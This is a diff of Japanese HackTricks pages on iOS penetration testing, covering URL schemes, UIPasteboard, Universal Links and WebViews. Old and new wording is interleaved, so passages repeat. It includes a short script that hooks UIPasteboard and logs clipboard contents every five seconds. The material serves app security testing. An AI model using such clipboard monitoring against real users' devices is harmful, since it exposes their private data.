* `application:openURL:options:`および以前の静的分析で特定された他のメソッドをフックします。
* アプリの挙動を観察します。
* 加えて、特定の不正なファイルを送信したり、ファジング技術を使用することもできます。
**こちらで** [**読む**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)**。**
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* **HackTricks**https://github.com/carlospolop/hacktricksおよび[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
</details>
## 参考文献
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)

View file

@ -1,68 +1,51 @@
```markdown
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) を使って AWS ハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
HackTricksをサポートする他の方法:
* **HackTricks にあなたの会社を広告掲載したい場合**や **HackTricks を PDF でダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFT**](https://opensea.io/collection/the-peass-family) コレクションをチェックす
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)や [**telegram グループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を **フォローする**
* **HackTricks** の [**GitHub リポジトリ**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) に PR を提出して、あなたのハッキングテクニックを共有する。
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出する
</details>
iOSデバイス上でのアプリケーション間およびアプリケーション内でのデータ共有は、[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)メカニズムによって可能になります。このメカニズムは、次の2つの主要なカテゴリに分かれています
[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) は、アプリ内でのデータ共有、およびアプリから他のアプリへのデータ共有を可能にします。ペーストボードには2種類あります
- **システム全体の一般ペーストボード**:これは**任意のアプリケーション**とデータを共有するために使用され、iOS 10以降で利用可能になったデータのデバイス再起動やアプリのアンインストールを超えた永続性を設計されています。
- **カスタム/名前付きペーストボード**:これらは、**アプリ内または同じチームIDを共有する別のアプリとのデータ共有**のために特に設計されており、それらを作成するアプリケーションプロセスの寿命を超えて永続化されることはありません。これはiOS 10で導入された変更に従います。
* **システム全体の一般ペーストボード****任意のアプリ**とデータを共有するためのもの。デフォルトでデバイスの再起動やアプリのアンインストールを越えて永続化されますiOS 10以降
* **カスタム/名前付きペーストボード****別のアプリ**共有元のアプリと同じチームIDを持つや**アプリ自体**とデータを共有するためのものそれらは作成したプロセス内でのみ利用可能。デフォルトでは非永続化iOS 10以降、つまり所有作成アプリが終了するまでのみ存在します。
**セキュリティ上の考慮事項**は、ペーストボードを利用する際に重要な役割を果たします。たとえば:
- ユーザーが**ペーストボードへのアクセス権限を管理する**メカニズムはありません。
- ペーストボードの未承認のバックグラウンド監視のリスクを軽減するために、アクセスはアプリケーションが前面にあるときに制限されていますiOS 9以降
- プライバシー上の懸念から、永続的な名前付きペーストボードの使用は共有コンテナを優先しています。
- iOS 10で導入された**Universal Clipboard**機能は、一般ペーストボードを介してデバイス間でコンテンツを共有することを可能にし、開発者がデータの有効期限を設定したり自動コンテンツ転送を無効にしたりすることができます。
セキュリティ上の考慮事項:
**機密情報が誤ってグローバルペーストボードに保存されないようにする**ことが重要です。さらに、アプリケーションは、グローバルペーストボードデータの誤った操作を防ぐために設計されるべきであり、開発者は機密情報のクリップボードへのコピーを防ぐための対策を実装することが推奨されています。
* ユーザーはアプリが**ペーストボード**を読むための**許可を与えたり拒否したりすることはできません**。
* iOS 9以降、アプリは[バックグラウンドでペーストボードにアクセスできなくなりました](https://forums.developer.apple.com/thread/13760)。これにより、バックグラウンドでのペーストボード監視が緩和されます。
* [Apple は永続的な名前付きペーストボードについて警告しており](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc)、その使用を**推奨していません**。代わりに共有コンテナを使用するべきです。
* iOS 10からは、デフォルトで有効になっている新しいHandoff機能である**Universal Clipboard**が導入されました。これにより、**一般ペーストボードの内容がデバイス間で自動的に転送される**ようになります。開発者が選択した場合、この機能は無効にすることができ、コピーされたデータに対して有効期限と日付を設定することも可能です。
### 静的解析
したがって、**機密情報がグローバルペーストボード内に保存されていないことを確認することが重要です**。\
また、**アプリケーションがグローバルペーストボードのデータを使用してアクションを実行していないことを確認することも重要です**。悪意のあるアプリケーションがこのデータを改ざんする可能性があります。
静的解析では、ソースコードまたはバイナリを検索して次のものを見つけます:
- **システム全体の一般ペーストボード**の使用を特定するための`generalPasteboard`。
- **カスタムペーストボード**の作成に対する`pasteboardWithName:create:`および`pasteboardWithUniqueName`。永続性が有効になっているかどうかを確認しますが、これは非推奨です。
**アプリケーションは、ユーザーがクリップボードに機密データをコピーすることを防ぐこともできます**(推奨されます)。
### 動的解析
## 静的分析
動的解析には、特定のメソッドのフックやトレースが含まれます:
- システム全体の使用のために`generalPasteboard`を監視します。
- カスタム実装のために`pasteboardWithName:create:`および`pasteboardWithUniqueName`をトレースします。
- 永続性設定を確認するために非推奨の`setPersistent:`メソッド呼び出しを観察します。
**システム全体の一般ペーストボード**は、[`generalPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard/1622106-generalpasteboard?language=objc)を使用して取得できます。ソースコードまたはコンパイル済みバイナリでこのメソッドを検索します。機密データを扱う際には、システム全体の一般ペーストボードの使用は避けるべきです。
監視する主な詳細には次のものがあります:
- **ペーストボードの名前**と**内容**たとえば、文字列、URL、画像のチェック
- 存在する**アイテムの数**と**データ型**を、標準およびカスタムデータ型のチェックを活用して確認します。
- `setItems:options:`メソッドを検査して、**有効期限とローカル専用オプション**を確認します。
**カスタムペーストボード**は、[`pasteboardWithName:create:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622074-pasteboardwithname?language=objc)または[`pasteboardWithUniqueName`](https://developer.apple.com/documentation/uikit/uipasteboard/1622087-pasteboardwithuniquename?language=objc)で作成できます。iOS 10以降非推奨とされているため、カスタムペーストボードが永続化されるように設定されているかを確認してください。代わりに共有コンテナを使用すべきです。
監視ツールの使用例として、**objectionのペーストボードモニター**があります。このツールは、5秒ごとにgeneralPasteboardをポーリングして変更を出力します。
## 動的分析
以下をフックまたはトレースします:
* システム全体の一般ペーストボードに対しては `generalPasteboard`
* カスタムペーストボードに対しては `pasteboardWithName:create:``pasteboardWithUniqueName`
非推奨の [`setPersistent:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622096-setpersistent?language=objc) メソッドもフックまたはトレースし、呼び出されているかを確認することができます。
**ペーストボードを監視**する際には、以下のような**詳細**を動的に**取得**することができます:
* `pasteboardWithName:create:` をフックして入力パラメータを検査するか、`pasteboardWithUniqueName` をフックしてその戻り値を検査することで、**ペーストボード名を取得**します。
* **最初に利用可能なペーストボードアイテムを取得**します:例えば文字列の場合は `string` メソッドを使用します。または、[標準データタイプ](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#1654275)の他のメソッドを使用します。
* `numberOfItems` で**アイテム数を取得**します。
* [便利なメソッド](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#2107142)を使用して、**標準データタイプの存在を確認**します。例えば `hasImages`、`hasStrings`、`hasURLs` などiOS 10から開始
* [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?language=objc) を使用して、**他のデータタイプ**通常はUTIを確認します。例えば、public.png や public.tiff[UTI](http://web.archive.org/web/20190616231857/https://developer.apple.com/documentation/mobilecoreservices/uttype)のような具体的なデータタイプや、com.mycompany.myapp.mytype のようなカスタムデータを検査します。この場合、ペーストボードに書き込まれたデータを理解できるのは、そのタイプを_宣言している_アプリのみです。[`itemSetWithPasteboardTypes:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622071-itemsetwithpasteboardtypes?language=objc) を使用して対応するUTIを設定して取得します。
* `setItems:options:` をフックして、`UIPasteboardOptionLocalOnly` や `UIPasteboardOptionExpirationDate` などのオプションを検査することで、除外されたアイテムや有効期限のあるアイテムを確認します。
文字列のみを探している場合は、**objection** のコマンド `ios pasteboard monitor` を使用すると良いでしょう:
> iOS UIPasteboard クラスにフックし、5秒ごとに generalPasteboard のデータをポーリングします。新しいデータが見つかり、前回のポーリングと異なる場合、そのデータが画面に表示されます。
また、上記で見たような特定の情報を監視する独自のペーストボードモニターを構築することもできます。
例えば、このスクリプト([objectionのペーストボードモニター](https://github.com/sensepost/objection/blob/b39ee53b5ba2e9a271797d2f3931d79c46dccfdb/agent/src/ios/pasteboard.ts)の背後にあるスクリプトから着想を得ては、5秒ごとにペーストボードアイテムを読み取り、新しいものがあればそれを印刷します
```
以下は、objectionのアプローチに触発された簡単なJavaScriptスクリプトの例です。このスクリプトは、5秒ごとにペーストボードから変更を読み取りログに記録します
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard;
const Pasteboard = UIPasteboard.generalPasteboard();
@ -86,22 +69,22 @@ console.log(items);
}, 1000 * 5);
```
# 参考文献
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
## 参考文献
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキング</strong>をゼロからヒーローまで学ぶ</strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details>

View file

@ -1,66 +1,54 @@
# iOS ユニバーサルリンク
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください</strong></summary>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
* **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
* **ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details>
## はじめに
ユニバーサルリンクは、リダイレクトのためにSafariを経由せずに、**ユーザーを直接アプリにリダイレクト**することができます。\
ユニバーサルリンクは**ユニーク**であり、**他のアプリによって主張されることはありません**。なぜなら、ウェブサイトとアプリが関連していることを確認するためにファイルをアップロードしたウェブサイトへの標準的なHTTP(S)リンクを使用するからです。\
これらのリンクはHTTP(S)スキームを使用しているため、**アプリがインストールされていない場合は、Safariがリンクを開き**、ユーザーをページにリダイレクトします。これにより、**アプリがインストールされていなくてもアプリと通信することができます**。
ユニバーサルリンクは、ユーザーに**シームレスなリダイレクト**体験を提供し、Safariのリダイレクトをバイパスしてアプリ内のコンテンツを直接開くことができます。これらのリンクは**ユニーク**で安全であり、他のアプリによってクレームされることはありません。これは、`apple-app-site-association` JSONファイルをウェブサイトのルートディレクトリにホスティングすることによって確保され、ウェブサイトとアプリとの間の検証可能なリンクが確立されます。アプリがインストールされていない場合、Safariが引き継ぎ、ユーザーをウェブページに誘導し、アプリの存在を維持します。
ユニバーサルリンクを作成するには、詳細を含む`apple-app-site-association`というJSONファイルを**作成する必要があります**。その後、このファイルをウェブサーバーのルートディレクトリに**ホストする必要があります**(例:[https://google.com/apple-app-site-association](https://google.com/apple-app-site-association))。\
ペネトレーションテスターにとって、このファイルはパスを**開示する**ため非常に興味深いものです。まだ公開されていないリリースのパスを開示している可能性もあります。
ペネトレーションテスターにとって、`apple-app-site-association`ファイルは特に興味深いものであり、**機密パス**を明らかにする可能性があり、リリースされていない機能に関連するパスを含むことがあります。
## **関連ドメインのエンタイトルメントをチェックする**
### **関連ドメイン権限の分析**
Xcodeで、**Capabilities**タブに移動し、**Associated Domains**を探します。または、`com.apple.developer.associated-domains`を探して`.entitlements`ファイルを調べることもできます。各ドメインは`applinks:`でプレフィックスを付ける必要があります。例えば`applinks:www.mywebsite.com`のように。
以下はTelegramの`.entitlements`ファイルからの例です:
```markup
開発者は、XcodeのCapabilitiesタブで**関連ドメイン**を構成するか、`.entitlements`ファイルを検査することで、ユニバーサルリンクを有効にします。各ドメインは`applinks:`で接頭辞が付けられます。例えば、Telegramの構成は次のように表示されるかもしれません
```xml
<key>com.apple.developer.associated-domains</key>
<array>
<string>applinks:telegram.me</string>
<string>applinks:t.me</string>
</array>
```
詳細な情報は、[アーカイブされたApple Developer Documentation](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2)で見つけることができます
より包括的な洞察については、[アーカイブされたApple Developer Documentation](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2)を参照してください
コンパイル済みのアプリケーションしかない場合は、以下のガイドに従ってentitlementsを抽出できます
コンパイルされたアプリケーションで作業する場合、権限は[このガイド](extracting-entitlements-from-compiled-application.md)で説明されているように抽出できます。
{% content-ref url="extracting-entitlements-from-compiled-application.md" %}
[extracting-entitlements-from-compiled-application.md](extracting-entitlements-from-compiled-application.md)
{% endcontent-ref %}
### **Apple App Site Associationファイルの取得**
## **Apple App Site Associationファイルの取得**
`apple-app-site-association`ファイルは、権限で指定されたドメインを使用してサーバーから取得する必要があります。ファイルは、`https://<domain>/apple-app-site-association`で直接HTTPS経由でアクセス可能であることを確認してください。[Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/)などのツールがこのプロセスを支援します。
前のステップで取得した関連ドメインを使用して、サーバーから`apple-app-site-association`ファイルを取得してください。このファイルは、`https://<domain>/apple-app-site-association` または `https://<domain>/.well-known/apple-app-site-association` でHTTPS経由でアクセス可能であり、リダイレクトがない必要があります。
### **アプリ内でのUniversal Linksの処理**
ブラウザを使用して自分で取得するか、[Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/)を使用できます
アプリは、Universal Linksを正しく処理するための特定のメソッドを実装する必要があります。探すべき主要なメソッドは[`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application)です。処理するURLのスキームがHTTPまたはHTTPSであることが重要です。それ以外のスキームはサポートされません
## **リンク受信メソッドのチェック**
#### **データハンドラーメソッドの検証**
アプリがリンクを受け取り、適切に処理するためには、アプリデリゲートが[`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application)を実装する必要があります。元のプロジェクトを持っている場合は、このメソッドを探してみてください。
アプリが[`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc)を使用してアプリのウェブサイトへのユニバーサルリンクを開く場合、リンクはアプリ内で開かれません。呼び出しがアプリから発生するため、ユニバーサルリンクとして処理されません。
* `webpageURL`のスキームはHTTPまたはHTTPSでなければなりません他のスキームは例外を投げるべきです。`URLComponents` / `NSURLComponents`の[`scheme`インスタンスプロパティ](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme)を使用してこれを確認できます。
## **データハンドラーメソッドのチェック**
iOSがユニバーサルリンクの結果としてアプリを開くとき、アプリは`NSUserActivityTypeBrowsingWeb`の`activityType`値を持つ`NSUserActivity`オブジェクトを受け取ります。アクティビティオブジェクトの`webpageURL`プロパティには、ユーザーがアクセスするHTTPまたはHTTPS URLが含まれています。以下のSwiftの例は、URLを開く前にこれを正確に検証します
Universal Linkがアプリを開くと、`NSUserActivity`オブジェクトがURLとともにアプリに渡されます。このURLを処理する前に、セキュリティリスクを防ぐために、それを検証およびサニタイズすることが重要です。以下は、このプロセスを示すSwiftの例です。
```swift
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
// ...
// Check for web browsing activity and valid URL
if userActivity.activityType == NSUserActivityTypeBrowsingWeb, let url = userActivity.webpageURL {
application.open(url, options: [:], completionHandler: nil)
}
@ -68,9 +56,7 @@ application.open(url, options: [:], completionHandler: nil)
return true
}
```
さらに、URLにパラメータが含まれている場合、それらは信頼されたドメインから来たとしても、慎重にサニタイズされ、検証されるまでは信用してはいけません。例えば、攻撃者によって偽装されていたり、不正なデータを含んでいる可能性があります。そのような場合、URL全体、そしてその結果としてのユニバーサルリンクリクエストは破棄されなければなりません。
`NSURLComponents` APIは、URLのコンポーネントを解析し、操作するために使用できます。これは、`application:continueUserActivity:restorationHandler:` メソッド自体の一部としても、またはそれから呼び出される別のメソッドで行われることもあります。以下の[例](https://developer.apple.com/documentation/uikit/core\_app/allowing\_apps\_and\_websites\_to\_link\_to\_your\_content/handling\_universal\_links#3001935)がこれを示しています:
URLは、特にパラメータを含む場合には注意深く解析および検証する必要があります。`NSURLComponents` APIは、この目的に役立ちます。以下に示すように。
```swift
func application(_ application: UIApplication,
continue userActivity: NSUserActivity,
@ -85,33 +71,38 @@ return false
if let albumName = params.first(where: { $0.name == "albumname" })?.value,
let photoIndex = params.first(where: { $0.name == "index" })?.value {
// Interact with album name and photo index
// Process the URL with album name and photo index
return true
} else {
// Handle when album and/or album name or photo index missing
// Handle invalid or missing parameters
return false
}
}
```
# 参考文献
**綿密な構成と検証**を通じて、開発者はユニバーサルリンクがセキュリティとプライバシー基準を維持しつつユーザーエクスペリエンスを向上させることができます。
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
## 参考文献
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけ
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や [**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で私 **フォロー**してください**
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
</details>

View file

@ -2,96 +2,79 @@
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
このページのコードは[こちら](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)から抽出されました。詳細についてはページをチェックしてください。
## WebViewsの種類
WebViewsは、インタラクティブな**web** **コンテンツ**を表示するためのアプリ内ブラウザコンポーネントです。これらは、webコンテンツをアプリのユーザーインターフェースに直接埋め込むために使用されます。iOS WebViewsは**デフォルトで** **JavaScript**の実行を**サポート**しているため、スクリプトの注入やクロスサイトスクリプティング攻撃の影響を受ける可能性があります。
WebViewsはアプリケーション内でWebコンテンツをインタラクティブに表示するために使用されます。iOSアプリケーション向けにさまざまな種類のWebViewsがあり、異なる機能とセキュリティ機能を提供しています。以下は簡単な概要です:
* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** UIWebViewはiOS 12から非推奨となっており、使用すべきではありません。**JavaScriptを無効にすることはできません**。
* [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): アプリ機能の拡張、表示されるコンテンツの制御に適した選択です。
* **JavaScript**はデフォルトで有効ですが、`WKWebView`の**`javaScriptEnabled`**プロパティにより、**完全に無効化することができ**、すべてのスクリプト注入の欠陥を防ぐことができます。
* **`JavaScriptCanOpenWindowsAutomatically`**は、JavaScriptが新しいウィンドウ例えばポップアップを**開くのを防ぐ**ために使用できます。
* **`hasOnlySecureContent`**プロパティは、WebViewによってロードされるリソースが暗号化された接続を通じて取得されていることを確認するために使用できます。
* `WKWebView`はプロセス外レンダリングを実装しているため、**メモリ破損バグが**メインアプリプロセスに影響を与えることは**ありません**。
* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** **一般的なwebビューイング体験**を提供するために使用すべきです。これらのWebViewsは、以下の要素を含む特徴的なレイアウトを持っているため、簡単に見分けることができます
